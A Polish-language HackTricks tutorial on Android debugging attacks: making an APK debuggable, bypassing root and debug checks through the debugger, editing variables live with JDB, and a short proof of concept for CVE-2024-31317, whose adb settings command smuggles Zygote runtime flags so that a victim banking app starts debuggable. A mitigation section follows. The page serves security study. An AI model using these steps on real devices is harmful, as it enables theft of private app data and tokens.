Wykorzystywanie aplikacji debugowalnej

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Obchodzenie kontroli root i debugowalności

Ta sekcja posta jest podsumowaniem z posta https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

Kroki, aby uczynić aplikację Android debugowalną i obejść kontrole

Uczynienie aplikacji debugowalną

Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

  1. Dezkompilacja APK:
  • Wykorzystaj narzędzie APK-GUI do dezkompilacji APK.
  • W pliku android-manifest wstaw android:debuggable="true", aby włączyć tryb debugowania.
  • Ponownie skompiluj, podpisz i zipalignuj zmodyfikowaną aplikację.
  1. Zainstaluj zmodyfikowaną aplikację:
  • Użyj polecenia: adb install <application_name>.
  1. Pobierz nazwę pakietu:
  • Wykonaj adb shell pm list packages –3, aby wylistować aplikacje firm trzecich i znaleźć nazwę pakietu.
  1. Ustaw aplikację, aby czekała na połączenie debuggera:
  • Polecenie: adb shell am setup-debug-app –w <package_name>.
  • Uwaga: To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuger.
  • Aby uzyskać trwałość, użyj adb shell am setup-debug-app –w ––persistent <package_name>.
  • Aby usunąć wszystkie flagi, użyj adb shell am clear-debug-app <package_name>.
  1. Przygotowanie do debugowania w Android Studio:
  • Przejdź w Android Studio do File -> Open Profile or APK.
  • Otwórz ponownie skompilowane APK.
  1. Ustaw punkty przerwania w kluczowych plikach Java:
  • Umieść punkty przerwania w MainActivity.java (szczególnie w metodzie onCreate), b.java i ContextWrapper.java.

Obchodzenie kontroli

Aplikacja w pewnych momentach będzie weryfikować, czy jest debugowalna i sprawdzi również binaria wskazujące na zrootowane urządzenie. Debugger może być użyty do modyfikacji informacji o aplikacji, usunięcia bitu debugowalności i zmiany nazw wyszukiwanych binariów, aby obejść te kontrole.

Dla kontroli debugowalności:

  1. Modyfikacja ustawień flag:
  • W sekcji zmiennych konsoli debuggera przejdź do: this mLoadedAPK -> mApplicationInfo -> flags = 814267974.
  • Uwaga: Reprezentacja binarna flags = 814267974 to 11000011100111011110, co wskazuje, że “Flag_debuggable” jest aktywna.

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być obchodzone za pomocą debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji.

Krok 2 polega na zmianie wartości flagi na 814267972, co jest reprezentowane w postaci binarnej jako 110000101101000000100010100.

Wykorzystywanie luki

Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textview. Początkowo aplikacja wyświetla “Crack Me”. Celem jest zmiana komunikatu z “Try Again” na “Hacked” w czasie rzeczywistym, bez modyfikacji kodu źródłowego.

Sprawdzanie podatności

  • Aplikacja została dezkompilowana za pomocą apktool, aby uzyskać dostęp do pliku AndroidManifest.xml.
  • Obecność android_debuggable="true" w AndroidManifest.xml wskazuje, że aplikacja jest debugowalna i podatna na wykorzystanie.
  • Warto zauważyć, że apktool jest używany wyłącznie do sprawdzenia statusu debugowalności bez modyfikacji jakiegokolwiek kodu.

Przygotowanie ustawienia

  • Proces obejmował uruchomienie emulatora, zainstalowanie podatnej aplikacji i użycie adb jdwp, aby zidentyfikować porty Dalvik VM, które nasłuchują.
  • JDWP (Java Debug Wire Protocol) umożliwia debugowanie aplikacji działającej w VM, udostępniając unikalny port.
  • Przekierowanie portów było konieczne do zdalnego debugowania, a następnie dołączenia JDB do docelowej aplikacji.

Wstrzykiwanie kodu w czasie rzeczywistym

  • Wykorzystanie luki odbyło się poprzez ustawienie punktów przerwania i kontrolowanie przepływu aplikacji.
  • Użyto poleceń takich jak classes i methods <class_name>, aby odkryć strukturę aplikacji.
  • Ustawiono punkt przerwania w metodzie onClick, a jego wykonanie było kontrolowane.
  • Użyto poleceń locals, next i set, aby sprawdzić i zmodyfikować lokalne zmienne, szczególnie zmieniając komunikat “Try Again” na “Hacked”.
  • Zmodyfikowany kod został wykonany za pomocą polecenia run, skutecznie zmieniając wyjście aplikacji w czasie rzeczywistym.

Ten przykład pokazał, jak można manipulować zachowaniem debugowalnej aplikacji, podkreślając potencjał bardziej złożonych exploitów, takich jak uzyskanie dostępu do powłoki na urządzeniu w kontekście aplikacji.

2024 – Przekształcanie dowolnej aplikacji w proces debugowalny (CVE-2024-31317)

Nawet jeśli docelowy APK nie jest dostarczany z flagą android:debuggable, niedawne badania wykazały, że możliwe jest wymuszenie dowolnych aplikacji do uruchomienia z flagą runtime DEBUG_ENABLE_JDWP, nadużywając sposób, w jaki Zygote analizuje argumenty wiersza poleceń.

  • Luka: Niewłaściwa walidacja --runtime-flags dostarczonych przez gniazdo poleceń Zygote pozwala atakującemu, który może uzyskać dostęp do system_server (na przykład za pomocą uprzywilejowanego powłoki adb, która posiada uprawnienie WRITE_SECURE_SETTINGS), na wstrzyknięcie dodatkowych parametrów. Gdy stworzona komenda jest odtwarzana przez system_server, aplikacja ofiary jest forkowana jako debugowalna i z wątkiem JDWP nasłuchującym. Problem jest śledzony jako CVE-2024-31317 i został naprawiony w czerwcu 2024 roku w Biuletynie Bezpieczeństwa Androida.
  • Wpływ: Pełny dostęp do odczytu/zapisu do prywatnego katalogu danych dowolnej aplikacji (w tym uprzywilejowanych, takich jak com.android.settings), kradzież tokenów, obejście MDM i w wielu przypadkach bezpośrednia droga do eskalacji uprawnień poprzez nadużywanie eksportowanych punktów IPC teraz debugowalnego procesu.
  • Dotknięte wersje: Android 9 do 14 przed poziomem łaty z czerwca 2024 roku.

Szybki PoC

# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

Wartość stworzona w kroku 1 wyprowadza parser z „szybkiej ścieżki” i dodaje drugie syntetyczne polecenie, gdzie --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) jest akceptowane tak, jakby zostało dostarczone przez framework. Gdy aplikacja jest uruchamiana, otwierany jest gniazdo JDWP, a regularne sztuczki dynamicznego debugowania (zamiana metod, patchowanie zmiennych, żywe wstrzykiwanie Frida itp.) są możliwe bez modyfikowania APK lub obrazu rozruchowego urządzenia.

Wykrywanie i łagodzenie

  • Zaktualizuj do poziomu zabezpieczeń 2024-06-01 (lub późniejszego) – Google wzmocnił ZygoteCommandBuffer, aby kolejne polecenia nie mogły być przemycane w ten sposób.
  • Ogranicz dostęp WRITE_SECURE_SETTINGS / shell na urządzeniach produkcyjnych. Eksploatacja wymaga tego uprawnienia, które normalnie posiadają tylko aplikacje ADB lub OEM z przywilejami.
  • W flotach zarządzanych przez EMM/MDM wymuś ro.debuggable=0 i odmów dostępu do powłoki za pomocą adb disable-verifier.

Odniesienia

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks